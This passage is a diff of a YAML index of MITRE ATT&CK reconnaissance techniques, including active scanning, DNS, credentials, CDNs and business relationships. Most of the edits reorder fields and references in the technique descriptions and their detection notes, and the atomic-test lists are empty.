+        Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: reconnaissance
       x_mitre_detection: |-
         Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.
 
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1595
+        external_id: T1595
+        source_name: mitre-attack
+      - url: https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf
+        description: Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from
+          a Botnet. Retrieved October 20, 2020.
+        source_name: Botnet Scan
+      - url: https://wiki.owasp.org/index.php/OAT-004_Fingerprinting
+        description: OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved
+          October 20, 2020.
+        source_name: OWASP Fingerprinting
     atomic_tests: []
   T1591.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1591.002
-        url: https://attack.mitre.org/techniques/T1591/002
-      - source_name: ThreatPost Broadvoice Leak
-        url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
-        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
-          Personal Voicemail Transcripts. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Business Relationships
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:36:58.964Z'
+      created: '2020-10-02T16:27:55.713Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f
       description: |-
         Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.
 
         Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
-      id: attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:36:58.964Z'
-      created: '2020-10-02T16:27:55.713Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1591/002
+        external_id: T1591.002
+        source_name: mitre-attack
+      - url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
+        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
+          Personal Voicemail Transcripts. Retrieved October 20, 2020.
+        source_name: ThreatPost Broadvoice Leak
     atomic_tests: []
   T1596.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1596.004
-        url: https://attack.mitre.org/techniques/T1596/004
-      - source_name: DigitalShadows CDN
-        url: https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/
-        description: Swisscom & Digital Shadows. (2017, September 6). Content Delivery
-          Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What
-          You Can Do About It. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: CDNs
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:47:55.905Z'
+      created: '2020-10-02T16:59:56.648Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75
       description: |-
         Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.
 
         Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).
-      id: attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:47:55.905Z'
-      created: '2020-10-02T16:59:56.648Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1596/004
+        external_id: T1596.004
+        source_name: mitre-attack
+      - url: https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/
+        description: Swisscom & Digital Shadows. (2017, September 6). Content Delivery
+          Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What
+          You Can Do About It. Retrieved October 20, 2020.
+        source_name: DigitalShadows CDN
     atomic_tests: []
   T1592.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1592.004
-        url: https://attack.mitre.org/techniques/T1592/004
-      - source_name: ATT ScanBox
-        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
-        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
-          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Client Configurations
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:35:09.668Z'
+      created: '2020-10-02T16:47:16.719Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c
       description: |-
         Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.
 
         Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
-      id: attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:22:14.288Z'
-      created: '2020-10-02T16:47:16.719Z'
       x_mitre_detection: |-
-        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+        Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)
 
-        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1592/004
+        external_id: T1592.004
+        source_name: mitre-attack
+      - url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
+        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
+          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
+        source_name: ATT ScanBox
+      - url: https://threatconnect.com/blog/infrastructure-research-hunting/
+        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
+          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
+        source_name: ThreatConnect Infrastructure Dec 2020
     atomic_tests: []
   T1589.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1589.001
-        url: https://attack.mitre.org/techniques/T1589/001
-      - source_name: ATT ScanBox
-        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
-        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
-          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
-      - source_name: Register Deloitte
-        url: https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/
-        description: 'Thomson, I. (2017, September 26). Deloitte is a sitting duck:
-          Key systems with RDP open, VPN and proxy ''login details leaked''. Retrieved
-          October 19, 2020.'
-      - source_name: Register Uber
-        url: https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/
-        description: McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub
-          into court to find who hacked database of 50,000 drivers. Retrieved October
-          19, 2020.
-      - source_name: Detectify Slack Tokens
-        url: https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/
-        description: Detectify. (2016, April 28). Slack bot token leakage exposing
-          business critical information. Retrieved October 19, 2020.
-      - source_name: Forbes GitHub Creds
-        url: https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196
-        description: Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud
-          Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved
-          October 19, 2020.
-      - source_name: GitHub truffleHog
-        url: https://github.com/dxa4481/truffleHog
-        description: Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October
-          19, 2020.
-      - source_name: GitHub Gitrob
-        url: https://github.com/michenriksen/gitrob
-        description: 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open
-          Source in OSINT. Retrieved October 19, 2020.'
-      - source_name: CNET Leaks
-        url: https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
-        description: Ng, A. (2019, January 17). Massive breach leaks 773 million email
-          addresses, 21 million passwords. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Credentials
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:26:44.352Z'
+      created: '2020-10-02T14:55:43.815Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: reconnaissance
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161
       description: |-
         Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.
 
         Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
-      id: attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: reconnaissance
-      modified: '2021-04-15T03:26:44.352Z'
-      created: '2020-10-02T14:55:43.815Z'
       x_mitre_contributors:
       - Vinayak Wadhwa, Lucideus
       - Lee Christensen, SpecterOps
@@ -62253,1105 +64248,1145 @@ reconnaissance:
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1589/001
+        external_id: T1589.001
+        source_name: mitre-attack
+      - url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
+        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
+          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
+        source_name: ATT ScanBox
+      - url: https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/
+        description: 'Thomson, I. (2017, September 26). Deloitte is a sitting duck:
+          Key systems with RDP open, VPN and proxy ''login details leaked''. Retrieved
+          October 19, 2020.'
+        source_name: Register Deloitte
+      - url: https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/
+        description: McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub
+          into court to find who hacked database of 50,000 drivers. Retrieved October
+          19, 2020.
+        source_name: Register Uber
+      - url: https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/
+        description: Detectify. (2016, April 28). Slack bot token leakage exposing
+          business critical information. Retrieved October 19, 2020.
+        source_name: Detectify Slack Tokens
+      - url: https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196
+        description: Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud
+          Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved
+          October 19, 2020.
+        source_name: Forbes GitHub Creds
+      - url: https://github.com/dxa4481/truffleHog
+        description: Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October
+          19, 2020.
+        source_name: GitHub truffleHog
+      - url: https://github.com/michenriksen/gitrob
+        description: 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open
+          Source in OSINT. Retrieved October 19, 2020.'
+        source_name: GitHub Gitrob
+      - url: https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
+        description: Ng, A. (2019, January 17). Massive breach leaks 773 million email
+          addresses, 21 million passwords. Retrieved October 20, 2020.
+        source_name: CNET Leaks
     atomic_tests: []
   T1590.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1590.002
-        url: https://attack.mitre.org/techniques/T1590/002
-      - source_name: DNS Dumpster
-        url: https://dnsdumpster.com/
-        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
-      - source_name: Circl Passive DNS
-        url: https://www.circl.lu/services/passive-dns/
-        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
-          Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: DNS
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:29:18.740Z'
+      created: '2020-10-02T15:47:10.102Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea
       description: |-
         Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.
 
         Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
-      id: attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:29:18.740Z'
-      created: '2020-10-02T15:47:10.102Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1590/002
+        external_id: T1590.002
+        source_name: mitre-attack
+      - url: https://dnsdumpster.com/
+        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
+        source_name: DNS Dumpster
+      - url: https://www.circl.lu/services/passive-dns/
+        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
+          Retrieved October 20, 2020.
+        source_name: Circl Passive DNS
     atomic_tests: []
   T1596.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1596.001
-        url: https://attack.mitre.org/techniques/T1596/001
-      - source_name: DNS Dumpster
-        url: https://dnsdumpster.com/
-        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
-      - source_name: Circl Passive DNS
-        url: https://www.circl.lu/services/passive-dns/
-        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
-          Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: DNS/Passive DNS
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:49:13.409Z'
+      created: '2020-10-02T16:57:45.044Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532
       description: |-
         Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.
 
         Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
-      id: attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:49:13.409Z'
-      created: '2020-10-02T16:57:45.044Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1596/001
+        external_id: T1596.001
+        source_name: mitre-attack
+      - url: https://dnsdumpster.com/
+        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
+        source_name: DNS Dumpster
+      - url: https://www.circl.lu/services/passive-dns/
+        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
+          Retrieved October 20, 2020.
+        source_name: Circl Passive DNS
     atomic_tests: []
   T1591.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1591.001
-        url: https://attack.mitre.org/techniques/T1591/001
-      - source_name: ThreatPost Broadvoice Leak
-        url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
-        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
-          Personal Voicemail Transcripts. Retrieved October 20, 2020.
-      - source_name: DOB Business Lookup
-        url: https://www.dobsearch.com/business-lookup/
-        description: Concert Technologies . (n.d.). Business Lookup - Company Name
-          Search. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Determine Physical Locations
+      x_mitre_version: '1.1'
+      modified: '2021-08-27T15:37:09.025Z'
+      created: '2020-10-02T16:32:33.126Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867
       description: |-
         Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.
 
-        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).
-      id: attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867
-      type: attack-pattern
+        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:37:35.863Z'
-      created: '2020-10-02T16:32:33.126Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1591/001
+        external_id: T1591.001
+        source_name: mitre-attack
+      - url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
+        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
+          Personal Voicemail Transcripts. Retrieved October 20, 2020.
+        source_name: ThreatPost Broadvoice Leak
+      - url: https://www.sec.gov/edgar/search-and-access
+        description: U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August
+          27, 2021.
+        source_name: SEC EDGAR Search
     atomic_tests: []
   T1596.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1596.003
-        url: https://attack.mitre.org/techniques/T1596/003
-      - source_name: SSLShopper Lookup
-        url: https://www.sslshopper.com/ssl-checker.html
-        description: SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.
-      - source_name: Medium SSL Cert
-        url: https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2
-        description: Jain, M. (2019, September 16). Export & Download — SSL Certificate
-          from Server (Site URL). Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Digital Certificates
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:48:37.628Z'
+      created: '2020-10-02T16:58:58.738Z'
+      x_mitre_platforms:
+      - PRE
